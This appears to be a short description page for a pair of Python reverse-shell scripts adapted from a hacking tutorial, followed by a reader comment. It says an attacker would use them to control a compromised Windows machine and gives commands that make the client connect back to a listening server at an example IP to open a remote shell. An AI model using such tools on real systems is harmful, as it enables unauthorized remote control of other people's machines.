Via http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ with some style changes (to use classes instead of globals).
Requirements:
- a client: a Windows machine with Python installed (tested on Server 2012; probably works on 7 and 8 too)
- a server: a Linux machine (might work elsewhere)
An attacker would use a pair of scripts like this to control a compromised Windows box from her command server. The idea is that you run revshell_server.py on the server in a terminal window (and just hang out as it listens for a connection). When the client executes revshell_client.py, a prompt will appear in the server console, awaiting commands.
Suppose your server IP address is 1.2.3.4
Execute on server:
$ python revshell_server.py
Execute on client:
C:\> python revshell_client.py 1.2.3.4
@LinuxSTAIN, I think you gotta give the IP address and port as arguments when running this script. That's why he creates an argument parser in the last lines of the code.